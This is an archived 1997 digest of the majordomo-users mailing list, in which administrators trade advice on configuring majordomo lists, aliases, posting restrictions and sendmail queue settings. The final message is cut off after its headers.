[198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id VAA18899 for ; Thu, 12 Jun 1997 21:51:10 -0700 (PDT) Received: from sweden.it.earthlink.net (sweden-c.it.earthlink.net [204.250.46.50]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id VAA02945 for ; Thu, 12 Jun 1997 21:30:49 -0700 (PDT) Received: from at (max3-vgd-ca-46.earthlink.net [206.149.207.147]) by sweden.it.earthlink.net (8.8.5/8.8.5) with SMTP id VAA22364 for ; Thu, 12 Jun 1997 21:28:22 -0700 (PDT) Message-ID: <33A0CD96.365A@net-sport.com> Date: Thu, 12 Jun 1997 21:33:26 -0700 From: AlanThomson Reply-To: alan@net-sport.com Organization: NetSport X-Mailer: Mozilla 3.01Gold (Win95; U) MIME-Version: 1.0 To: majordomo-users@GreatCircle.COM Subject: How Do You Use restrict_post? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I placed the the name of the file that holds the e-mail address of everyone on my list on the like like: restrict_post = martial-arts but that seems to have stoped everyone from posting. what is the correct format of the command? And the list is called martial-arts Thanks For Your Help, Alan Thomson webmaster@net-sport.com http://www.net-sport.com From owner-majordomo-users-outgoing Thu Jun 12 22:05:07 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA08320 for majordomo-users-outgoing; Thu, 12 Jun 1997 21:10:27 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id UAA27311 for ; Thu, 12 Jun 1997 20:21:11 -0700 (PDT) Received: from myinternet.net (tapthis.magic.net.au [203.28.52.2]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id UAA00252 for ; Thu, 12 Jun 1997 20:15:28 -0700 (PDT) Received: (from skeeve@localhost) by myinternet.net (Hidden/Hidden) id NAA31403 for majordomo-users@GreatCircle.COM; Fri, 13 Jun 1997 13:14:37 +1000 Message-Id: <199706130314.NAA31403@myinternet.net> Subject: [MJ-Users] Stopping someone subscribing To: majordomo-users@GreatCircle.COM Date: Fri, 13 Jun 1997 13:14:37 +1000 (EST) From: skeeve@skeeve.net (Skeeve Stevens) X-Http-Homepage: http://www.skeeve.net/ X-Phone-Number: 0414 753 383 X-Mailer: ELM [version 2.4 PL25 PGP3] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk hey all.. i run a few busy lists... and have auto subscribing via websites and such. I have a problem user who is spamming my lists... ive thrown him off, and have restricted lists so that only subscribees can post. now... how do i STOP a certain domain or such from subscribing? --------------------------------------------------------------------- | Skeeve Stevens - MyInternet personal.url: http://www.skeeve.net/ | | email://skeeve@skeeve.net/ work.url: http://www.myinternet.net/ | | phone://612.9876.4527/ mobile://0414.SKEEVE/ [753-383] | | No kids, no chat room, no smiley faces. | | - This email is (c) 1997 by Skeeve Stevens - All rights reserved - | --------------------------------------------------------------------- From owner-majordomo-users-outgoing Thu Jun 12 22:10:11 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA08670 for majordomo-users-outgoing; Thu, 12 Jun 1997 21:11:45 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id UAA27330 for ; Thu, 12 Jun 1997 20:21:15 -0700 (PDT) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id UAA29951 for ; Thu, 12 Jun 1997 20:03:44 -0700 (PDT) Received: from Uucp1.mcs.net (root@Uucp1.mcs.net [192.160.127.93]) by Kitten.mcs.com (8.8.5/8.8.2) with SMTP id WAA16323; Thu, 12 Jun 1997 22:01:22 -0500 (CDT) Received: by Uucp1.mcs.net (/\==/\ Smail3.1.28.1 #28.17) id ; Thu, 12 Jun 97 21:51 CDT Received: from gibbs.pr.mcs.net (david [192.168.1.1]) by midrange.com (8.7.5/8.7.3) with SMTP id SAA26278; Thu, 12 Jun 1997 18:19:30 -0500 Message-Id: <3.0.2.32.19970612182458.0071217c@midrange> X-Sender: david@midrange X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32) Date: Thu, 12 Jun 1997 18:24:58 -0500 To: Todd Fencl || Information Manager , majordomo-users From: David Gibbs Subject: Re: people can post with out subscribing In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 10:46 AM 6/12/97 -0400, Todd Fencl || Information Manager wrote: >I am hoping that someone can help me with this little problem. People can >send messages to any of my lists without being a member to _any_ of the >lists. I have gone through the ~.config files and could not find anything. >Can anyone give me a pointer at where I went astray?? Use the 'restrict-post' configuration variable. If you set this variable to the name of your subscriber list, then only they can post to the list. Works like a champ here. The only drawback is that: If your subscribers post from multiple addresses, you will get a bunch of messages bounced back to you needing approval. david -- | Internet: david@midrange.com | WWW: http://www.mcs.net/~gibbs | AOL: DMGibbs | | ... A man can move mountains, a world can be turned, | and the greatest of distances easily spanned, | When the strength that's invested in making a fist | is transformed into shaking a hand. | | - DMRoth From owner-majordomo-users-outgoing Thu Jun 12 22:11:25 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id WAA22686 for majordomo-users-outgoing; Thu, 12 Jun 1997 22:10:29 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id VAA19126 for ; Thu, 12 Jun 1997 21:52:08 -0700 (PDT) Received: from slacker.cu-online.com ([206.185.2.73]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id VAA02769 for ; Thu, 12 Jun 1997 21:29:10 -0700 (PDT) Received: from localhost (sarge@localhost) by slacker.cu-online.com (8.8.5/8.8.5) with SMTP id XAA25294 for ; Thu, 12 Jun 1997 23:32:05 -0500 (CDT) Date: Thu, 12 Jun 1997 23:32:04 -0500 (CDT) From: Sarge in Charge To: majordomo-users@greatcircle.com Subject: Problem Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-1116103646-866171813=:24933" Content-ID: Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-1116103646-866171813=:24933 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Ok i actually didn't compile it. I did the instructions as they were shown. I ran the wrapper config test and it went well and said majordomo should work correctly. I then added the list as it said. Here is a copy of the majordomo.cf file maybe I did something wrong. I also added files into the list directory like it said. readyroom and readyroom.info. The path for majordomo is /usr/mailer/majordomo-1.94.3. and the path for the lists is the same as above put with the /lists/. I also have included the majordomo.aliases file whioch its path is /etc/ There is also a file called aliases in this path too could this be a problem? I have attached the files can someone get back to me on this. Also the majordomo.cf file is in my account as welol which I run majordomo from sarge is the login it is in, the oneI ma mailing from now. Yes i did what Danny told me to do and make sure it was not hypen-one make sure it was hypen-l (lower case). I did that and then I have mailed to majordomo and readyroom @slacker.cu-online.com and it says unknown user but then when I mail to sarge@slacker.cu-online.com it mails it but nothing ever happens. I send the following commands in the mail and nothing else in the mail: config readyroom readyroom.admin ******************************************************************************* Officer White Badge# 908 Saying: You miss 100% of the chances, you never take!!!! ******************************************************************************* On Fri, 13 Jun 1997, Danny Thomas wrote: > >I am using MJ 1.94.3 and I have had it to compile but when I send mail to > >it i get nothing back i send the mail to readyroom@slacker.cu-online.com > >where that is the name of one of the lists i created the majordomo is > >setup from the account sarge And nothing is happening. > >can someone tell me if I am doing wrong? > > majordomo doesn't involve a 'compile' except as part of installing perl. > Have you followed the install instructions? The way you've written your > message makes it sound like you haven't followed the instructions. > > > --0-1116103646-866171813=:24933-- From owner-majordomo-users-outgoing Fri Jun 13 00:41:30 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA03942 for majordomo-users-outgoing; Thu, 12 Jun 1997 23:08:14 -0700 (PDT) Received: from nimbus.planet.com.mx (nimbus.planet.com.mx [167.114.25.68]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id XAA03828 for ; Thu, 12 Jun 1997 23:07:45 -0700 (PDT) Received: from localhost (ediaz@localhost) by nimbus.planet.com.mx (8.8.5/8.8.5) with SMTP id BAA05360; Fri, 13 Jun 1997 01:08:06 -0500 Date: Fri, 13 Jun 1997 01:08:06 -0500 (CDT) From: "J. Enrique Diaz Jolly" To: Skeeve Stevens cc: majordomo-users@GreatCircle.COM Subject: Re: [MJ-Users] Stopping someone subscribing In-Reply-To: <199706130314.NAA31403@myinternet.net> Message-ID: Organization: Interplanet SA de CV MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Fri, 13 Jun 1997, Skeeve Stevens wrote: > now... how do i STOP a certain domain or such from subscribing? Use either global majordomo.cf or per-list list.config taboo_headers section. Forever is going to start... right now!!! ============================================================================== Jose Enrique Diaz Jolly e-mail: ediaz@planet.com.mx Interplanet +52(5)539-4142 jedj@mexicomail.com http://www.planet.com.mx e.diaz-jolly@ieee.org ============================================================================== From owner-majordomo-users-outgoing Fri Jun 13 00:46:31 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA03290 for majordomo-users-outgoing; Thu, 12 Jun 1997 23:05:10 -0700 (PDT) Received: from nimbus.planet.com.mx (nimbus.planet.com.mx [167.114.25.68]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id XAA03255 for ; Thu, 12 Jun 1997 23:04:52 -0700 (PDT) Received: from localhost (ediaz@localhost) by nimbus.planet.com.mx (8.8.5/8.8.5) with SMTP id BAA05341; Fri, 13 Jun 1997 01:05:51 -0500 Date: Fri, 13 Jun 1997 01:05:50 -0500 (CDT) From: "J. Enrique Diaz Jolly" To: AlanThomson cc: majordomo-users@GreatCircle.COM Subject: Re: How Do You Use restrict_post? In-Reply-To: <33A0CD96.365A@net-sport.com> Message-ID: Organization: Interplanet SA de CV MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Thu, 12 Jun 1997, AlanThomson wrote: > restrict_post = martial-arts It is correct. > but that seems to have stoped everyone from posting. what is the correct > format of the command? Check yor subscribers file, and check corresponding owner-martial-arts mail. Perhaps all or most of your subscribers' mail is bouncing. Forever is going to start... right now!!! ============================================================================== Jose Enrique Diaz Jolly e-mail: ediaz@planet.com.mx Interplanet +52(5)539-4142 jedj@mexicomail.com http://www.planet.com.mx e.diaz-jolly@ieee.org ============================================================================== From owner-majordomo-users-outgoing Fri Jun 13 00:56:34 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA04431 for majordomo-users-outgoing; Thu, 12 Jun 1997 23:11:33 -0700 (PDT) Received: from slacker.cu-online.com (slacker.cu-online.com [206.185.2.73]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id XAA04377 for ; Thu, 12 Jun 1997 23:11:14 -0700 (PDT) Received: from localhost (sarge@localhost) by slacker.cu-online.com (8.8.5/8.8.5) with SMTP id BAA25581 for ; Fri, 13 Jun 1997 01:18:30 -0500 (CDT) Date: Fri, 13 Jun 1997 01:18:30 -0500 (CDT) From: Sarge in Charge To: majordomo-users@greatcircle.com Subject: Re: Returned mail: Internal error: Error 0 (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Also on this i am using the correct UID and GID so something else is wrong I think ******************************************************************************* Officer White Badge# 908 Saying: You miss 100% of the chances, you never take!!!! ******************************************************************************* On Fri, 13 Jun 1997, Sarge in Charge wrote: > OK I did what kendall said and this is what I got when i tried to mail to > readyroom@slacker. Now what is wrong? > > ******************************************************************************* > Officer White > Badge# 908 > > Saying: You miss 100% of the chances, you never take!!!! > ******************************************************************************* > > ---------- Forwarded message ---------- > Date: Fri, 13 Jun 1997 01:10:50 -0500 (CDT) > From: Mail Delivery Subsystem > To: sarge@slacker.cu-online.com, postmaster@slacker.cu-online.com > Subject: Returned mail: Internal error: Error 0 > > The original message was received at Fri, 13 Jun 1997 01:10:49 -0500 (CDT) > from sarge@localhost > > ----- The following addresses had permanent fatal errors ----- > "|/usr/mailer/majordomo-1.94.3/wrapper resend -l readyroom readyroom-list" > (expanded from: ) > > ----- Transcript of session follows ----- > /usr/mailer/majordomo-1.94.3/wrapper: error: Not running with proper UID and GID. > Make certain that wrapper is installed setuid, and if so, > recompile with POSIX flags. > 554 "|/usr/mailer/majordomo-1.94.3/wrapper resend -l readyroom readyroom-list"... Internal error: Error 0 > From owner-majordomo-users-outgoing Fri Jun 13 00:57:39 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA05710 for majordomo-users-outgoing; Thu, 12 Jun 1997 23:18:08 -0700 (PDT) Received: from tfs.com (tfs.com [140.145.250.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id XAA05669 for ; Thu, 12 Jun 1997 23:17:58 -0700 (PDT) Received: from opssrv.tfs.com by tfs.com (smail3.1.28.1) with SMTP id m0wcPhi-0003z9C; Thu, 12 Jun 97 23:19 PDT Received: by opssrv.tfs.com (SMI-8.6/SMI-SVR4) id XAA02476; Thu, 12 Jun 1997 23:19:21 -0700 From: andrew@opssrv.tfs.com (Andrew Routhier) Message-Id: <9706122319.ZM2474@opssrv.tfs.com> Date: Thu, 12 Jun 1997 23:19:20 -0700 X-Mailer: Z-Mail (3.2.0 16aug94) To: majordomo-users@greatcircle.com Subject: Mailer problems with approve requests Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I am using majordomo-1.93 for a moderated list. I am moving the list to a solaris2.5 machine running sendmail8.6. The previous installation was on a SunOS4.1.3 machine running smail3.1.28. The compilation went without incident. Yet I am seeing different behavior in the mail sent to moderator for approval. We are using zmail3.2 as the mailtool and have added an "approve" widget. In the past (SunOS.4.1.3 smail), the Approve request and the actual mail were recieved as one piece with the BOUNCE Approve request as the subject line. When I recieve the BOUNCE request for Approval, using sendmail as the mailer, it comes in two pieces. One is the BOUNCE (subject line)and the other is the actual piece (with the actual subject line: in the test case below "postmaster test"). If I approve the bounce, I send a blank piece of mail to the list. If I approve the actual piece, I recieve an error window with the following message: Command exited with status 512. unknown request type 'postmaster' in file ''; skipping at /home/majordomo/bin/approve line 127, chunk 11. Can't "next" outside a block at /home/majordomo/bin/approve line 128, chunk 11. I can't seem to find the source of this new behavior. Can anyone help me as to how I might join the mail as before? From owner-majordomo-users-outgoing Fri Jun 13 01:03:28 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id AAA24288 for majordomo-users-outgoing; Fri, 13 Jun 1997 00:47:44 -0700 (PDT) Received: from jaguar.cis.um.edu.mt ([193.188.43.3]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id AAA24244 for ; Fri, 13 Jun 1997 00:47:29 -0700 (PDT) Received: (from cmeli@localhost) by jaguar.cis.um.edu.mt (8.8.5/8.8.1-CISNET) id JAA01096; Fri, 13 Jun 1997 09:55:09 +0100 (GMT+0100) Date: Fri, 13 Jun 1997 09:55:09 +0100 (GMT+0100) Message-Id: <199706130855.JAA01096@jaguar.cis.um.edu.mt> From: Clyde Meli Subject: Re: Posting to own lists? To: swangdb@duc.auburn.edu (David Swanger), majordomo-users@GreatCircle.COM In-Reply-To: David Swanger's message of Thu, 12 Jun 1997 10:22:36 -0500 Organisation: University of Malta X-Comment: "Vote for Malta Network Resources in the Peoples' Choice Top 100" X-Url: "http://www.cis.um.edu.mt/links/mnr" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > > On Wed, 11 Jun 1997, Mitchell Leben wrote: > > > > > Is there any general wisdom on the netiquette of posting to a list that > > > one runs? Seems to me that usually the lists admins are rather quiet and > > > only speak up when there is a problem or issue concerning the list. > > A few years ago I created a mailing list dedicated to sports > at Auburn University. I had subscribed to other sports lists > in the past and many of them had really strict rules. On > these lists it was really easy to get bounced from the list if > you didn't follow the rules. For example, some sports list > owners will bounce you if are not a fan of the team in > question, they want NO opposing views, etc. I decided that > was too strict, so when I started the list basically I said > that within reason, I didn't care what people posted as long > as the majority of messages were AU sports-related. I said I > would ban users if they were too out of control, cursed too > much or were just couldn't stop being jerks. I had to ban users who called me a Nazi for having a list etiquette! From owner-majordomo-users-outgoing Fri Jun 13 02:57:36 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id CAA10565 for majordomo-users-outgoing; Fri, 13 Jun 1997 02:11:07 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id BAA07357 for ; Fri, 13 Jun 1997 01:51:20 -0700 (PDT) Received: from snsw01.perth.geoquest.slb.com (snsw01.perth.geoquest.slb.com [163.184.30.2]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id AAA05619 for ; Fri, 13 Jun 1997 00:55:44 -0700 (PDT) Received: from snsw01 (snsw01 [163.184.30.2]) by snsw01.perth.geoquest.slb.com (8.8.4/SLB) with SMTP id PAA00121; Fri, 13 Jun 1997 15:53:48 +0800 (WST) Message-ID: <33A0FC8C.1C8E@perth.geoquest.slb.com> Date: Fri, 13 Jun 1997 15:53:48 +0800 From: Simon Kelly Organization: Schlumberger (GeoQuest) X-Mailer: Mozilla 3.0Gold (X11; I; SunOS 5.5.1 sun4u) MIME-Version: 1.0 To: majordomo-users@GreatCircle.COM Subject: Displaying members of list in list messages?? possible? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi all, I've just inherited a UNIX system here, and I have been asked to set up a majordomo mailing list. That is set up and working. (for refernce we are using majordomo version 1.94.3 here.) Now what the listowner of the list wants to happen is that at the bottom of every message mailed to the list, the email addresses of all of the members of the list are displayed (thankfully its a small private mailing list.) so that the recipients know who else is on the list. i.e. display the contents of the /usr/local/majordomo/lists/listname (or equivalent) file (+ a little "prettying up" ie. borders etc...) Does anyone know how this can be done?? (otherwise I will just hafta inform them all to send mail to majordomo and do a "who listname") Regards Simon -- ----------------------------------------------------- Simon Kelly Email : skelly@perth.geoquest.slb.com System Administrator Schlumberger (Geoquest) Tel : +61 8 9360 4870 Perth, Western Australia Fax : +61 8 9322 3080 ----------------------------------------------------- From owner-majordomo-users-outgoing Fri Jun 13 03:56:42 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id DAA26711 for majordomo-users-outgoing; Fri, 13 Jun 1997 03:28:43 -0700 (PDT) Received: from java.aboard.co.uk (java.aboard.co.uk [194.73.51.130]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id DAA26654 for ; Fri, 13 Jun 1997 03:28:15 -0700 (PDT) Received: (from nick@localhost) by java.aboard.co.uk (8.8.5/8.6.9) id LAA31525; Fri, 13 Jun 1997 11:27:36 +0100 From: Nick Perry Message-ID: <19970613112736.25671@amulation.co.uk> Date: Fri, 13 Jun 1997 11:27:36 +0100 To: Simon Kelly Cc: majordomo-users@GreatCircle.COM Subject: Re: Displaying members of list in list messages?? possible? References: <33A0FC8C.1C8E@perth.geoquest.slb.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.75e In-Reply-To: <33A0FC8C.1C8E@perth.geoquest.slb.com>; from Simon Kelly on Fri, Jun 13, 1997 at 03:53:48PM +0800 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Fri, Jun 13, 1997 at 03:53:48PM +0800, Simon Kelly wrote: > is that at the bottom of every message mailed to the list, > the email addresses of all of the members of the list are displayed Whilst you may thing it would be useful to allow backticked expressions in the config file (eg `cat /usr/majordomo/listname`), the need for security quite logically prevents this. So the only value substitutions you can do in the message_footer are $LIST $VERSION and $SENDER. If you want anything else you'll have to modify the substitute_values routine in config_parse.pl. Not too difficult at all... a cruddy but workable and hideously simple solution would be.. local($subscribers) = `cat $listdir/$list`; # or some cunning # formatting expression $string =~ s/\$SUBSCRIBERS/$subscribers/; Nick -- Nick Perry | Home / Recreation | Work - AboarD Boats & Yachts ____________ | LONDON SW1, UK | LONDON SW10 0TB UK Internet, | http://www.amulation.co.uk | http://www.aboard.co.uk Musicals, | nick@amulation.co.uk | np@aboard.co.uk Theatre, ----------------------------------------------------------- Coffee, Tea, Multimedia, Macs, Photography, Print Publishing, etc, etc.. From owner-majordomo-users-outgoing Fri Jun 13 05:29:01 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id FAA18422 for majordomo-users-outgoing; Fri, 13 Jun 1997 05:15:26 -0700 (PDT) Received: from europe.std.com (europe.std.com [199.172.62.20]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id FAA18409 for ; Fri, 13 Jun 1997 05:15:20 -0700 (PDT) Received: from world.std.com by europe.std.com (8.7.6/BZS-8-1.0) id IAA04404; Fri, 13 Jun 1997 08:16:33 -0400 (EDT) Received: by world.std.com (5.65c/Spike-2.0) id AA27472; Fri, 13 Jun 1997 08:16:33 -0400 Date: Fri, 13 Jun 1997 08:16:33 -0400 From: eliz@world.std.com (Elizabeth Lear) Message-Id: <199706131216.AA27472@world.std.com> To: majordomo-users@greatcircle.com Cc: Subject: Re: Majordomo results: list abuse Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk <* hiding of the list outgoing aliases, so that abusers cannot bypass < resend. Yes, well, easy to say, but I have tried many different ways and asked on this list three or four times for help, and I *still* cannot keep the outgoing alias hidden 100% of the time. I'd really like to know how other people are managing this. ...eliz From owner-majordomo-users-outgoing Fri Jun 13 12:31:14 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA26958 for majordomo-users-outgoing; Fri, 13 Jun 1997 11:22:43 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA26590 for ; Fri, 13 Jun 1997 11:21:10 -0700 (PDT) Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id KAA26673 for ; Fri, 13 Jun 1997 10:56:21 -0700 (PDT) Received: from dragon.ti.com by mycroft.GreatCircle.COM (8.8.5/SMI-4.1/Brent-970426) id KAA17729; Fri, 13 Jun 1997 10:50:44 -0700 (PDT) Received: from alfred.itg.ti.com ([192.168.43.15]) by dragon.ti.com (8.8.5) with ESMTP id MAA17418 for ; Fri, 13 Jun 1997 12:50:14 -0500 (CDT) Received: from dsks52.itg.ti.com (dsks52.itg.ti.com [172.25.2.79]) by alfred.itg.ti.com (8.8.5/8.8.5) with SMTP id MAA19794 for ; Fri, 13 Jun 1997 12:50:13 -0500 (CDT) Received: from ti (wsp17562wss.itg.ti.com [172.25.30.55]) by dsks52.itg.ti.com (TI SMTPMail MTA v1.0.9.3) with SMTP id SMRACOAT; Fri, 13 Jun 1997 12:50:15 -0600 (Central Daylight Time) X-Mailer: BeyondMail for Windows/Professional 2.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7Bit To: majordomo-users@GreatCircle.COM From: Ed Dunkle Subject: bounces to sender Date: Fri, 13 Jun 1997 12:50:12 -0700 X-BeyondMail-Priority: 1 Message-Id: Conversation-Id: Reply-To: Ed Dunkle X-Receipt-From-Agent: true Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I would prefer that bounces would resend to the original sender so they would know that their mail did not get through. I don't mind getting a copy as the list owner, but the sender needs to know who didn't get the mail and why. Is this possible? Ed From owner-majordomo-users-outgoing Fri Jun 13 12:38:57 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA26410 for majordomo-users-outgoing; Fri, 13 Jun 1997 11:16:12 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA13491 for ; Fri, 13 Jun 1997 10:19:32 -0700 (PDT) Received: from lists.tax.org (lists.tax.org [205.177.50.129]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id GAA14122 for ; Fri, 13 Jun 1997 06:55:57 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by lists.tax.org (8.8.5/8.8.5) with SMTP id JAA07918 for ; Fri, 13 Jun 1997 09:53:43 -0400 Date: Fri, 13 Jun 1997 09:53:43 -0400 (EDT) From: "Kendall P. Bullen" To: majordomo-users@greatcircle.com Subject: Re: Majordomo results: list abuse In-Reply-To: <199706131216.AA27472@world.std.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Fri, 13 Jun 1997, Elizabeth Lear wrote: > Yes, well, easy to say, but I have tried many different ways and asked > on this list three or four times for help, and I *still* cannot keep > the outgoing alias hidden 100% of the time. I'd really like to know > how other people are managing this. When does it appear? There must be a pattern. Let me show you my aliases, which appear to work fine: owner-guru: root guru-approval: Kendall_Bullen@tax.org, guru-request: "|/usr/lib/majordomo/wrapper request-answer guru" guru: "|/usr/lib/majordomo/wrapper resend @/var/lib/majordomo/lists/guru.parms" guru-gnarly: :include:/var/lib/majordomo/lists/guru,nobody Note that ,nobody is on the end of the outgoing alias. Also, I use a parameter file for resend. Its contents are as follows: -l guru -h lists.tax.org guru-gnarly,nobody Note that ,nobody is on the end of the outgoing alias name. Cheers, Kendall P.S. 'gnarly' isn't what I really use; I never tell my real outgoing alias extension, even in majordomo-users. ;-) From owner-majordomo-users-outgoing Fri Jun 13 12:56:22 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA26504 for majordomo-users-outgoing; Fri, 13 Jun 1997 11:17:46 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA13519 for ; Fri, 13 Jun 1997 10:19:44 -0700 (PDT) Received: from spock.leben.com ([198.64.225.34]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id GAA14318 for ; Fri, 13 Jun 1997 06:57:33 -0700 (PDT) Received: from localhost (mitch@localhost) by spock.leben.com (8.8.5/8.8.5) with SMTP id IAA21234 for ; Fri, 13 Jun 1997 08:59:45 -0500 Date: Fri, 13 Jun 1997 08:59:44 -0500 (CDT) From: Mitchell Leben To: majordomo-users@GreatCircle.COM Subject: Duplicate messages In-Reply-To: <199706131216.AA27472@world.std.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I just noticed duplicate messages on one of my lists. :( I read the FAQ (http://www.greatcircle.com/majordomo/FAQ) which mentions: "There have been unconfirmed reports that on some systems having the queue process interval set too short can cause problems, even though sendmail is supposed to handle this. Workarounds are to increase your queue process interval (-q flag), or decrease the interval between queue checkpoints (OC flag in sendmail.cf)." On recent advice from this list I changed from 'sendmail -bd -q1h' to 'sendmail -bd -q15m'. I just changed it back to 1h and restarted sendmail. Hopefully this was the problem. In sendmail.cf I have: # checkpoint queue runs after every N successful deliveries #O CheckpointInterval=10 This has been commented out the whole time. Does anyone use this feature? Also in sendmail.cf: # minimum time in queue before retry # Uncomment this to try to speed up majordomo delivery (ML 6/9/97) O MinQueueAge=1h I am pretty sure that the changes I made to 'sendmail -bd -q15m' and 'O MinQueueAge=1h' are causing the duplicate mailings. Of course tonight I am going away for a week and will not have net access. Can anyone suggest some "safe" settings so that nothing goes haywire while I am gone? Hopefully I can find an internet cafe in Miami. -Mitch ---------------------------- Mitchell Leben mitch@leben.com http://www.leben.com/~mitch ---------------------------- From owner-majordomo-users-outgoing Fri Jun 13 12:58:32 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA26473 for majordomo-users-outgoing; Fri, 13 Jun 1997 11:17:31 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA13573 for ; Fri, 13 Jun 1997 10:19:53 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id HAA15421 for ; Fri, 13 Jun 1997 07:10:04 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id KAA22341 for ; Fri, 13 Jun 1997 10:07:43 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id KAA06743; Fri, 13 Jun 1997 10:07:42 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: Majordomo results: list abuse References: <199706131216.AA27472@world.std.com> 